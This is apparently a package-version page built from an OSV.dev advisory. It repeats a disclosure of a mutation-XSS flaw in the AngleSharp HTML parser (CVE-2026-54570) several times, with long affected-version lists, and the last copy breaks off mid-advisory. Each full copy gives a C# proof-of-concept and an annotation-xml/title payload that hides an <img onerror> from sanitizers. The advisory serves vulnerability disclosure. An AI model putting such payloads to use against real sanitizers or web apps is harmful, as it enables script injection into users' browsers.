            0.9.1


            0.9.10


            0.9.11


            0.9.2


            0.9.3


            0.9.4


            0.9.5


            0.9.6


            0.9.7


            0.9.8


            0.9.8.1


            0.9.9


            0.9.9.1


            0.9.9.2


            1.0.0


            1.0.0-alpha-1


            1.0.0-alpha-10


            1.0.0-alpha-12


            1.0.0-alpha-17


            1.0.0-alpha-20


            1.0.0-alpha-21


            1.0.0-alpha-229


            1.0.0-alpha-231


            1.0.0-alpha-25


            1.0.0-alpha-27


            1.0.0-alpha-31


            1.0.0-alpha-33


            1.0.0-alpha-36


            1.0.0-alpha-38


            1.0.0-alpha-4


            1.0.0-alpha-41


            1.0.0-alpha-47


            1.0.0-alpha-49


            1.0.0-alpha-59


            1.0.0-alpha-63


            1.0.0-alpha-64


            1.0.0-alpha-65


            1.0.0-alpha-68


            1.0.0-alpha-7


            1.0.0-alpha-70


            1.0.0-alpha-71


            1.0.0-alpha-819


            1.0.0-alpha-822


            1.0.0-alpha-825


            1.0.0-alpha-827


            1.0.0-alpha-842


            1.0.0-alpha-844


            1.0.0-ci-228


            1.0.1


            1.0.1-alpha-235


            1.0.1-alpha-241


            1.0.1-alpha-242


            1.0.1-alpha-243


            1.0.1-alpha-248


            1.0.2


            1.0.2-alpha-249


            1.0.2-alpha-250


            1.0.2-alpha-251


            1.0.2-alpha-255


            1.0.2-alpha-257


            1.0.2-alpha-258


            1.0.2-alpha-261


            1.0.2-alpha-273


            1.0.2-alpha-274


            1.0.2-alpha-275


            1.0.2-alpha-276


            1.0.2-alpha-277


            1.0.2-alpha-278


            1.0.2-alpha-281


            1.0.2-alpha-282


            1.0.2-alpha-283


            1.0.2-alpha-284


            1.0.3


            1.0.3-alpha-287


            1.0.4


            1.0.4-alpha-289


            1.0.4-alpha-290


            1.0.4-alpha-298


            1.0.4-alpha-300


            1.0.4-alpha-301


            1.0.4-alpha-307


            1.0.4-alpha-311


            1.0.4-alpha-314


            1.0.4-alpha-316


            1.0.5


            1.0.5-alpha-317


            1.0.6


            1.0.6-alpha-321


            1.0.6-alpha-325


            1.0.6-alpha-328


            1.0.6-alpha-330


            1.0.6-alpha-331


            1.0.6-alpha-339


            1.0.6-alpha-341


            1.0.7


            1.0.7-alpha-342


            1.1.0


            1.1.0-alpha-374


            1.1.0-alpha-375


            1.1.0-alpha-376


            1.1.0-alpha-377


            1.1.0-alpha-378


            1.1.0-alpha-379


            1.1.1


            1.1.2


            1.2.0


            1.3.0


            1.3.1


            1.4.0

Fixed in


          1.5.0

References

Updated Jul 17, 2026 · Source: OSV.dev

Nov 30, 2025

1.4.1-beta.502 pre

1 CVE

CVE-2026-54570 GHSA-pgww-w46g-26qg Jul 17, 2026

AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass

6.9 / 10

Medium

Network High None Required Changed Low High None

Summary

The HTML specification requires that a MathML <annotation-xml> element with encoding="text/html" or encoding="application/xhtml+xml" is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.

AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if encoding="text/html" is not treated) when given the same serialized output. Two bugs combine to make this exploitable:

Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).
Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and ". This allows injected markup to break out of attribute values on re-parse. See Escape "<" and ">" in attributes when serializing HTML #6235

Details

In MathAnnotationXmlElement (AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs):

// Current — HtmlTip is never set
: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)

Because HtmlTip is absent, the token dispatch in Consume() always sends tokens to Foreign() when inside annotation-xml, regardless of the encoding attribute. The compensating check in ForeignNormalTag() only covers tags in AllForeignExceptions and is entirely bypassed during fragment parsing (innerHTML setter) due to an if (!IsFragmentCase) guard.

In HtmlMarkupFormatter.WriteAttributeValue() (AngleSharp/Html/HtmlMarkupFormatter.cs):

// Escapes & " and \u00A0, but NOT < or >
case Symbols.Ampersand:    stringBuilder.Append("&amp;");  break;
case Symbols.NoBreakSpace: stringBuilder.Append("&nbsp;"); break;
case Symbols.DoubleQuote:  stringBuilder.Append("&quot;"); break;
default:                   stringBuilder.Append(value[i]); break; // < and > pass through raw

PoC

The following program demonstrates that AngleSharp’s parser misses the injected <img> element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live <img onerror> trigger.

using System;
using System.Linq;
using AngleSharp.Html.Parser;
			
public class Program
{
    static readonly string Payload1 =
        "<math>" +
        "<annotation-xml encoding=\"text/html\">" +
        "<title><a encoding=\"</title><img src=x onerror=alert()>\">" +
        "</annotation-xml></math>";

    public static void Main()
    {
        var parser = new HtmlParser();

        Check(parser, Payload1, "IMG",
            "AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)",
            "AngleSharp found <img> – SAFE");
    }

    static void Check(HtmlParser parser, string html, string tag,
                      string failMsg, string passMsg)
    {
        var doc     = parser.ParseDocument(html);
        var tags    = doc.All.Select(e => e.TagName).ToHashSet();
        var found   = tags.Contains(tag);

        Console.WriteLine(found ? passMsg : failMsg);
        Console.WriteLine("Serialized output:");
        Console.WriteLine(doc.DocumentElement.OuterHtml);
    }
}

Output:

AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)
Serialized output:
<html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html>

The title tag may be swapped out for style and other RCDATA elements.

When a browser receives this string and parses annotation-xml encoding="text/html" as an HTML integration point, the </title> closes the title element and the <img> fires its onerror handler.

Impact

Implemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.

This reduces AngleSharp's credibility as a conformant HTML parser.

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.12.1


          0.13.0


          0.13.0-alpha-733


          0.13.0-alpha-734


          0.13.0-alpha-735


          0.13.0-alpha-737


          0.13.0-alpha-739


          0.13.0-alpha-742

+ 227 more


            0.13.0-alpha-743


            0.13.0-alpha-744


            0.13.0-alpha-745


            0.13.0-alpha-748


            0.13.0-alpha-754


            0.13.0-alpha-756


            0.13.0-alpha-758


            0.13.0-alpha-760


            0.13.0-alpha-763


            0.13.0-alpha-764


            0.13.0-alpha-766


            0.13.0-alpha-768


            0.13.0-alpha-771


            0.13.0-alpha-775


            0.13.0-alpha-782


            0.14.0


            0.14.0-alpha-783


            0.14.0-alpha-784


            0.14.0-alpha-787


            0.14.0-alpha-788


            0.14.0-alpha-789


            0.14.0-alpha-790


            0.14.0-alpha-793


            0.14.0-alpha-794


            0.14.0-alpha-796


            0.14.0-alpha-798


            0.14.0-alpha-801


            0.14.0-alpha-802


            0.14.0-alpha-803


            0.14.0-alpha-805


            0.14.0-alpha-809


            0.14.0-alpha-811


            0.14.0-alpha-813


            0.14.0-alpha-817


            0.14.0-alpha-818


            0.15.0


            0.15.0-alpha-14


            0.16.0


            0.16.0-alpha-72


            0.16.0-alpha-75


            0.16.0-alpha-76


            0.16.0-alpha-77


            0.16.0-alpha-78


            0.16.0-alpha-79


            0.16.0-alpha-80


            0.16.0-alpha-84


            0.16.0-alpha-85


            0.16.0-alpha-86


            0.16.1


            0.16.1-alpha-104


            0.16.1-alpha-106


            0.16.1-alpha-108


            0.16.1-alpha-110


            0.16.1-alpha-112


            0.16.1-alpha-114


            0.16.1-alpha-120


            0.16.1-alpha-125


            0.16.1-alpha-127


            0.16.1-alpha-133


            0.16.1-alpha-144


            0.16.1-alpha-145


            0.16.1-alpha-148


            0.16.1-alpha-152


            0.16.1-alpha-153


            0.16.1-alpha-155


            0.16.1-alpha-167


            0.16.1-alpha-168


            0.16.1-alpha-91


            0.16.1-alpha-96


            0.16.1-alpha-99


            0.17.0


            0.17.0-alpha-169


            0.17.0-alpha-170


            0.17.0-alpha-171


            0.17.0-alpha-172


            0.17.0-alpha-173


            0.17.0-alpha-174


            0.17.0-alpha-177


            0.17.1


            0.17.1-alpha-178


            0.17.1-alpha-179


            0.2.0


            0.2.1


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.3.7


            0.4.0


            0.5.0


            0.5.1


            0.6.0


            0.6.1


            0.7.0


            0.8.0


            0.8.1


            0.8.2


            0.8.3


            0.8.4


            0.8.4.1


            0.8.5


            0.8.6


            0.8.7


            0.8.7.1


            0.8.8


            0.8.9


            0.9.0


            0.9.1


            0.9.10


            0.9.11


            0.9.2


            0.9.3


            0.9.4


            0.9.5


            0.9.6


            0.9.7


            0.9.8


            0.9.8.1


            0.9.9


            0.9.9.1


            0.9.9.2


            1.0.0


            1.0.0-alpha-1


            1.0.0-alpha-10


            1.0.0-alpha-12


            1.0.0-alpha-17


            1.0.0-alpha-20


            1.0.0-alpha-21


            1.0.0-alpha-229


            1.0.0-alpha-231


            1.0.0-alpha-25


            1.0.0-alpha-27


            1.0.0-alpha-31


            1.0.0-alpha-33


            1.0.0-alpha-36


            1.0.0-alpha-38


            1.0.0-alpha-4


            1.0.0-alpha-41


            1.0.0-alpha-47


            1.0.0-alpha-49


            1.0.0-alpha-59


            1.0.0-alpha-63


            1.0.0-alpha-64


            1.0.0-alpha-65


            1.0.0-alpha-68


            1.0.0-alpha-7


            1.0.0-alpha-70


            1.0.0-alpha-71


            1.0.0-alpha-819


            1.0.0-alpha-822


            1.0.0-alpha-825


            1.0.0-alpha-827


            1.0.0-alpha-842


            1.0.0-alpha-844


            1.0.0-ci-228


            1.0.1


            1.0.1-alpha-235


            1.0.1-alpha-241


            1.0.1-alpha-242


            1.0.1-alpha-243


            1.0.1-alpha-248


            1.0.2


            1.0.2-alpha-249


            1.0.2-alpha-250


            1.0.2-alpha-251


            1.0.2-alpha-255


            1.0.2-alpha-257


            1.0.2-alpha-258


            1.0.2-alpha-261


            1.0.2-alpha-273


            1.0.2-alpha-274


            1.0.2-alpha-275


            1.0.2-alpha-276


            1.0.2-alpha-277


            1.0.2-alpha-278


            1.0.2-alpha-281


            1.0.2-alpha-282


            1.0.2-alpha-283


            1.0.2-alpha-284


            1.0.3


            1.0.3-alpha-287


            1.0.4


            1.0.4-alpha-289


            1.0.4-alpha-290


            1.0.4-alpha-298


            1.0.4-alpha-300


            1.0.4-alpha-301


            1.0.4-alpha-307


            1.0.4-alpha-311


            1.0.4-alpha-314


            1.0.4-alpha-316


            1.0.5


            1.0.5-alpha-317


            1.0.6


            1.0.6-alpha-321


            1.0.6-alpha-325


            1.0.6-alpha-328


            1.0.6-alpha-330


            1.0.6-alpha-331


            1.0.6-alpha-339


            1.0.6-alpha-341


            1.0.7


            1.0.7-alpha-342


            1.1.0


            1.1.0-alpha-374


            1.1.0-alpha-375


            1.1.0-alpha-376


            1.1.0-alpha-377


            1.1.0-alpha-378


            1.1.0-alpha-379


            1.1.1


            1.1.2


            1.2.0


            1.3.0


            1.3.1


            1.4.0

Fixed in


          1.5.0

References

Updated Jul 17, 2026 · Source: OSV.dev

Nov 14, 2025

1.4.0 minor

1 CVE

CVE-2026-54570 GHSA-pgww-w46g-26qg Jul 17, 2026

AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass

6.9 / 10

Medium

Network High None Required Changed Low High None

Summary

The HTML specification requires that a MathML <annotation-xml> element with encoding="text/html" or encoding="application/xhtml+xml" is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.

AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if encoding="text/html" is not treated) when given the same serialized output. Two bugs combine to make this exploitable:

Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).
Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and ". This allows injected markup to break out of attribute values on re-parse. See Escape "<" and ">" in attributes when serializing HTML #6235

Details

In MathAnnotationXmlElement (AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs):

// Current — HtmlTip is never set
: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)

Because HtmlTip is absent, the token dispatch in Consume() always sends tokens to Foreign() when inside annotation-xml, regardless of the encoding attribute. The compensating check in ForeignNormalTag() only covers tags in AllForeignExceptions and is entirely bypassed during fragment parsing (innerHTML setter) due to an if (!IsFragmentCase) guard.

In HtmlMarkupFormatter.WriteAttributeValue() (AngleSharp/Html/HtmlMarkupFormatter.cs):

// Escapes & " and \u00A0, but NOT < or >
case Symbols.Ampersand:    stringBuilder.Append("&amp;");  break;
case Symbols.NoBreakSpace: stringBuilder.Append("&nbsp;"); break;
case Symbols.DoubleQuote:  stringBuilder.Append("&quot;"); break;
default:                   stringBuilder.Append(value[i]); break; // < and > pass through raw

PoC

The following program demonstrates that AngleSharp’s parser misses the injected <img> element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live <img onerror> trigger.

using System;
using System.Linq;
using AngleSharp.Html.Parser;
			
public class Program
{
    static readonly string Payload1 =
        "<math>" +
        "<annotation-xml encoding=\"text/html\">" +
        "<title><a encoding=\"</title><img src=x onerror=alert()>\">" +
        "</annotation-xml></math>";

    public static void Main()
    {
        var parser = new HtmlParser();

        Check(parser, Payload1, "IMG",
            "AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)",
            "AngleSharp found <img> – SAFE");
    }

    static void Check(HtmlParser parser, string html, string tag,
                      string failMsg, string passMsg)
    {
        var doc     = parser.ParseDocument(html);
        var tags    = doc.All.Select(e => e.TagName).ToHashSet();
        var found   = tags.Contains(tag);

        Console.WriteLine(found ? passMsg : failMsg);
        Console.WriteLine("Serialized output:");
        Console.WriteLine(doc.DocumentElement.OuterHtml);
    }
}

Output:

AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)
Serialized output:
<html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html>

The title tag may be swapped out for style and other RCDATA elements.

When a browser receives this string and parses annotation-xml encoding="text/html" as an HTML integration point, the </title> closes the title element and the <img> fires its onerror handler.

Impact

Implemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.

This reduces AngleSharp's credibility as a conformant HTML parser.

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.12.1


          0.13.0


          0.13.0-alpha-733


          0.13.0-alpha-734


          0.13.0-alpha-735


          0.13.0-alpha-737


          0.13.0-alpha-739


          0.13.0-alpha-742

+ 227 more


            0.13.0-alpha-743


            0.13.0-alpha-744


            0.13.0-alpha-745


            0.13.0-alpha-748


            0.13.0-alpha-754


            0.13.0-alpha-756


            0.13.0-alpha-758


            0.13.0-alpha-760


            0.13.0-alpha-763


            0.13.0-alpha-764


            0.13.0-alpha-766


            0.13.0-alpha-768


            0.13.0-alpha-771


            0.13.0-alpha-775


            0.13.0-alpha-782


            0.14.0


            0.14.0-alpha-783


            0.14.0-alpha-784


            0.14.0-alpha-787


            0.14.0-alpha-788


            0.14.0-alpha-789


            0.14.0-alpha-790


            0.14.0-alpha-793


            0.14.0-alpha-794


            0.14.0-alpha-796


            0.14.0-alpha-798


            0.14.0-alpha-801


            0.14.0-alpha-802


            0.14.0-alpha-803


            0.14.0-alpha-805


            0.14.0-alpha-809


            0.14.0-alpha-811


            0.14.0-alpha-813


            0.14.0-alpha-817


            0.14.0-alpha-818


            0.15.0


            0.15.0-alpha-14


            0.16.0


            0.16.0-alpha-72


            0.16.0-alpha-75


            0.16.0-alpha-76


            0.16.0-alpha-77


            0.16.0-alpha-78


            0.16.0-alpha-79


            0.16.0-alpha-80


            0.16.0-alpha-84


            0.16.0-alpha-85


            0.16.0-alpha-86


            0.16.1


            0.16.1-alpha-104


            0.16.1-alpha-106


            0.16.1-alpha-108


            0.16.1-alpha-110


            0.16.1-alpha-112


            0.16.1-alpha-114


            0.16.1-alpha-120


            0.16.1-alpha-125


            0.16.1-alpha-127


            0.16.1-alpha-133


            0.16.1-alpha-144


            0.16.1-alpha-145


            0.16.1-alpha-148


            0.16.1-alpha-152


            0.16.1-alpha-153


            0.16.1-alpha-155


            0.16.1-alpha-167


            0.16.1-alpha-168


            0.16.1-alpha-91


            0.16.1-alpha-96


            0.16.1-alpha-99


            0.17.0


            0.17.0-alpha-169


            0.17.0-alpha-170


            0.17.0-alpha-171


            0.17.0-alpha-172


            0.17.0-alpha-173


            0.17.0-alpha-174


            0.17.0-alpha-177


            0.17.1


            0.17.1-alpha-178


            0.17.1-alpha-179


            0.2.0


            0.2.1


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.3.7


            0.4.0


            0.5.0


            0.5.1


            0.6.0


            0.6.1


            0.7.0


            0.8.0


            0.8.1


            0.8.2


            0.8.3


            0.8.4


            0.8.4.1


            0.8.5


            0.8.6


            0.8.7


            0.8.7.1


            0.8.8


            0.8.9


            0.9.0


            0.9.1


            0.9.10


            0.9.11


            0.9.2


            0.9.3


            0.9.4


            0.9.5


            0.9.6


            0.9.7


            0.9.8


            0.9.8.1


            0.9.9


            0.9.9.1


            0.9.9.2


            1.0.0


            1.0.0-alpha-1


            1.0.0-alpha-10


            1.0.0-alpha-12


            1.0.0-alpha-17


            1.0.0-alpha-20


            1.0.0-alpha-21


            1.0.0-alpha-229


            1.0.0-alpha-231


            1.0.0-alpha-25


            1.0.0-alpha-27


            1.0.0-alpha-31


            1.0.0-alpha-33


            1.0.0-alpha-36


            1.0.0-alpha-38


            1.0.0-alpha-4


            1.0.0-alpha-41


            1.0.0-alpha-47


            1.0.0-alpha-49


            1.0.0-alpha-59


            1.0.0-alpha-63


            1.0.0-alpha-64


            1.0.0-alpha-65


            1.0.0-alpha-68


            1.0.0-alpha-7


            1.0.0-alpha-70


            1.0.0-alpha-71


            1.0.0-alpha-819


            1.0.0-alpha-822


            1.0.0-alpha-825


            1.0.0-alpha-827


            1.0.0-alpha-842


            1.0.0-alpha-844


            1.0.0-ci-228


            1.0.1


            1.0.1-alpha-235


            1.0.1-alpha-241


            1.0.1-alpha-242


            1.0.1-alpha-243


            1.0.1-alpha-248


            1.0.2


            1.0.2-alpha-249


            1.0.2-alpha-250


            1.0.2-alpha-251


            1.0.2-alpha-255


            1.0.2-alpha-257


            1.0.2-alpha-258


            1.0.2-alpha-261


            1.0.2-alpha-273


            1.0.2-alpha-274


            1.0.2-alpha-275


            1.0.2-alpha-276


            1.0.2-alpha-277


            1.0.2-alpha-278


            1.0.2-alpha-281


            1.0.2-alpha-282


            1.0.2-alpha-283


            1.0.2-alpha-284


            1.0.3


            1.0.3-alpha-287


            1.0.4


            1.0.4-alpha-289


            1.0.4-alpha-290


            1.0.4-alpha-298


            1.0.4-alpha-300


            1.0.4-alpha-301


            1.0.4-alpha-307


            1.0.4-alpha-311


            1.0.4-alpha-314


            1.0.4-alpha-316


            1.0.5


            1.0.5-alpha-317


            1.0.6


            1.0.6-alpha-321


            1.0.6-alpha-325


            1.0.6-alpha-328


            1.0.6-alpha-330


            1.0.6-alpha-331


            1.0.6-alpha-339


            1.0.6-alpha-341


            1.0.7


            1.0.7-alpha-342


            1.1.0


            1.1.0-alpha-374


            1.1.0-alpha-375


            1.1.0-alpha-376


            1.1.0-alpha-377


            1.1.0-alpha-378


            1.1.0-alpha-379


            1.1.1


            1.1.2


            1.2.0


            1.3.0


            1.3.1


            1.4.0

Fixed in


          1.5.0

References

Updated Jul 17, 2026 · Source: OSV.dev

Nov 12, 2025

1.4.0-beta.499 pre

1 CVE

CVE-2026-54570 GHSA-pgww-w46g-26qg Jul 17, 2026

AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass

6.9 / 10

Medium

Network High None Required Changed Low High None

Summary

The HTML specification requires that a MathML <annotation-xml> element with encoding="text/html" or encoding="application/xhtml+xml" is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.

AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if encoding="text/html" is not treated) when given the same serialized output. Two bugs combine to make this exploitable:

Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).
Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and ". This allows injected markup to break out of attribute values on re-parse. See Escape "<" and ">" in attributes when serializing HTML #6235

Details

In MathAnnotationXmlElement (AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs):

// Current — HtmlTip is never set
: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)

Because HtmlTip is absent, the token dispatch in Consume() always sends tokens to Foreign() when inside annotation-xml, regardless of the encoding attribute. The compensating check in ForeignNormalTag() only covers tags in AllForeignExceptions and is entirely bypassed during fragment parsing (innerHTML setter) due to an if (!IsFragmentCase) guard.

In HtmlMarkupFormatter.WriteAttributeValue() (AngleSharp/Html/HtmlMarkupFormatter.cs):

// Escapes & " and \u00A0, but NOT < or >
case Symbols.Ampersand:    stringBuilder.Append("&amp;");  break;
case Symbols.NoBreakSpace: stringBuilder.Append("&nbsp;"); break;
case Symbols.DoubleQuote:  stringBuilder.Append("&quot;"); break;
default:                   stringBuilder.Append(value[i]); break; // < and > pass through raw

PoC

The following program demonstrates that AngleSharp’s parser misses the injected <img> element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live <img onerror> trigger.

using System;
using System.Linq;
using AngleSharp.Html.Parser;
			
public class Program
{
    static readonly string Payload1 =
        "<math>" +
        "<annotation-xml encoding=\"text/html\">" +
        "<title><a encoding=\"</title><img src=x onerror=alert()>\">" +
        "</annotation-xml></math>";

    public static void Main()
    {
        var parser = new HtmlParser();

        Check(parser, Payload1, "IMG",
            "AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)",
            "AngleSharp found <img> – SAFE");
    }

    static void Check(HtmlParser parser, string html, string tag,
                      string failMsg, string passMsg)
    {
        var doc     = parser.ParseDocument(html);
        var tags    = doc.All.Select(e => e.TagName).ToHashSet();
        var found   = tags.Contains(tag);

        Console.WriteLine(found ? passMsg : failMsg);
        Console.WriteLine("Serialized output:");
        Console.WriteLine(doc.DocumentElement.OuterHtml);
    }
}

Output:

AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)
Serialized output:
<html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html>

The title tag may be swapped out for style and other RCDATA elements.

When a browser receives this string and parses annotation-xml encoding="text/html" as an HTML integration point, the </title> closes the title element and the <img> fires its onerror handler.

Impact

Implemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.

This reduces AngleSharp's credibility as a conformant HTML parser.

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.12.1


          0.13.0


          0.13.0-alpha-733


          0.13.0-alpha-734


          0.13.0-alpha-735


          0.13.0-alpha-737


          0.13.0-alpha-739


          0.13.0-alpha-742

+ 227 more


            0.13.0-alpha-743


            0.13.0-alpha-744


            0.13.0-alpha-745


            0.13.0-alpha-748


            0.13.0-alpha-754


            0.13.0-alpha-756


            0.13.0-alpha-758


            0.13.0-alpha-760


            0.13.0-alpha-763


            0.13.0-alpha-764


            0.13.0-alpha-766


            0.13.0-alpha-768


            0.13.0-alpha-771


            0.13.0-alpha-775


            0.13.0-alpha-782


            0.14.0


            0.14.0-alpha-783


            0.14.0-alpha-784


            0.14.0-alpha-787


            0.14.0-alpha-788


            0.14.0-alpha-789


            0.14.0-alpha-790


            0.14.0-alpha-793


            0.14.0-alpha-794


            0.14.0-alpha-796


            0.14.0-alpha-798


            0.14.0-alpha-801


            0.14.0-alpha-802


            0.14.0-alpha-803


            0.14.0-alpha-805


            0.14.0-alpha-809


            0.14.0-alpha-811


            0.14.0-alpha-813


            0.14.0-alpha-817


            0.14.0-alpha-818


            0.15.0


            0.15.0-alpha-14


            0.16.0


            0.16.0-alpha-72


            0.16.0-alpha-75


            0.16.0-alpha-76


            0.16.0-alpha-77


            0.16.0-alpha-78


            0.16.0-alpha-79


            0.16.0-alpha-80


            0.16.0-alpha-84


            0.16.0-alpha-85


            0.16.0-alpha-86


            0.16.1


            0.16.1-alpha-104


            0.16.1-alpha-106


            0.16.1-alpha-108


            0.16.1-alpha-110


            0.16.1-alpha-112


            0.16.1-alpha-114


            0.16.1-alpha-120


            0.16.1-alpha-125


            0.16.1-alpha-127


            0.16.1-alpha-133


            0.16.1-alpha-144


            0.16.1-alpha-145


            0.16.1-alpha-148


            0.16.1-alpha-152


            0.16.1-alpha-153


            0.16.1-alpha-155


            0.16.1-alpha-167


            0.16.1-alpha-168


            0.16.1-alpha-91


            0.16.1-alpha-96


            0.16.1-alpha-99


            0.17.0


            0.17.0-alpha-169


            0.17.0-alpha-170


            0.17.0-alpha-171


            0.17.0-alpha-172


            0.17.0-alpha-173


            0.17.0-alpha-174


            0.17.0-alpha-177


            0.17.1


            0.17.1-alpha-178


            0.17.1-alpha-179


            0.2.0


            0.2.1


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.3.7


            0.4.0


            0.5.0


            0.5.1


            0.6.0


            0.6.1


            0.7.0


            0.8.0


            0.8.1


            0.8.2


            0.8.3


            0.8.4


            0.8.4.1


            0.8.5


            0.8.6


            0.8.7


            0.8.7.1


            0.8.8


            0.8.9


            0.9.0


            0.9.1


            0.9.10


            0.9.11


            0.9.2


            0.9.3


            0.9.4


            0.9.5


            0.9.6


            0.9.7


            0.9.8


            0.9.8.1


            0.9.9


            0.9.9.1


            0.9.9.2


            1.0.0


            1.0.0-alpha-1


            1.0.0-alpha-10


            1.0.0-alpha-12


            1.0.0-alpha-17


            1.0.0-alpha-20


            1.0.0-alpha-21


            1.0.0-alpha-229


            1.0.0-alpha-231


            1.0.0-alpha-25


            1.0.0-alpha-27


            1.0.0-alpha-31


            1.0.0-alpha-33


            1.0.0-alpha-36


            1.0.0-alpha-38


            1.0.0-alpha-4


            1.0.0-alpha-41


            1.0.0-alpha-47


            1.0.0-alpha-49


            1.0.0-alpha-59


            1.0.0-alpha-63


            1.0.0-alpha-64


            1.0.0-alpha-65


            1.0.0-alpha-68


            1.0.0-alpha-7


            1.0.0-alpha-70


            1.0.0-alpha-71


            1.0.0-alpha-819


            1.0.0-alpha-822


            1.0.0-alpha-825


            1.0.0-alpha-827


            1.0.0-alpha-842


            1.0.0-alpha-844


            1.0.0-ci-228


            1.0.1


            1.0.1-alpha-235


            1.0.1-alpha-241


            1.0.1-alpha-242


            1.0.1-alpha-243


            1.0.1-alpha-248


            1.0.2


            1.0.2-alpha-249


            1.0.2-alpha-250


            1.0.2-alpha-251


            1.0.2-alpha-255


            1.0.2-alpha-257


            1.0.2-alpha-258


            1.0.2-alpha-261


            1.0.2-alpha-273


            1.0.2-alpha-274


            1.0.2-alpha-275


            1.0.2-alpha-276


            1.0.2-alpha-277


            1.0.2-alpha-278


            1.0.2-alpha-281


            1.0.2-alpha-282


            1.0.2-alpha-283


            1.0.2-alpha-284


            1.0.3


            1.0.3-alpha-287


            1.0.4


            1.0.4-alpha-289


            1.0.4-alpha-290


            1.0.4-alpha-298


            1.0.4-alpha-300


            1.0.4-alpha-301


            1.0.4-alpha-307


            1.0.4-alpha-311


            1.0.4-alpha-314


            1.0.4-alpha-316


            1.0.5


            1.0.5-alpha-317


            1.0.6


            1.0.6-alpha-321


            1.0.6-alpha-325


            1.0.6-alpha-328


            1.0.6-alpha-330


            1.0.6-alpha-331


            1.0.6-alpha-339


            1.0.6-alpha-341


            1.0.7


            1.0.7-alpha-342


            1.1.0


            1.1.0-alpha-374


            1.1.0-alpha-375


            1.1.0-alpha-376


            1.1.0-alpha-377


            1.1.0-alpha-378


            1.1.0-alpha-379


            1.1.1


            1.1.2


            1.2.0


            1.3.0


            1.3.1


            1.4.0

Fixed in


          1.5.0

References

Updated Jul 17, 2026 · Source: OSV.dev

Nov 12, 2025

1.4.0-beta.497 pre

1 CVE

CVE-2026-54570 GHSA-pgww-w46g-26qg Jul 17, 2026

AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass

6.9 / 10

Medium

Network High None Required Changed Low High None

Summary

The HTML specification requires that a MathML <annotation-xml> element with encoding="text/html" or encoding="application/xhtml+xml" is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.

AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if encoding="text/html" is not treated) when given the same serialized output. Two bugs combine to make this exploitable:

Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).
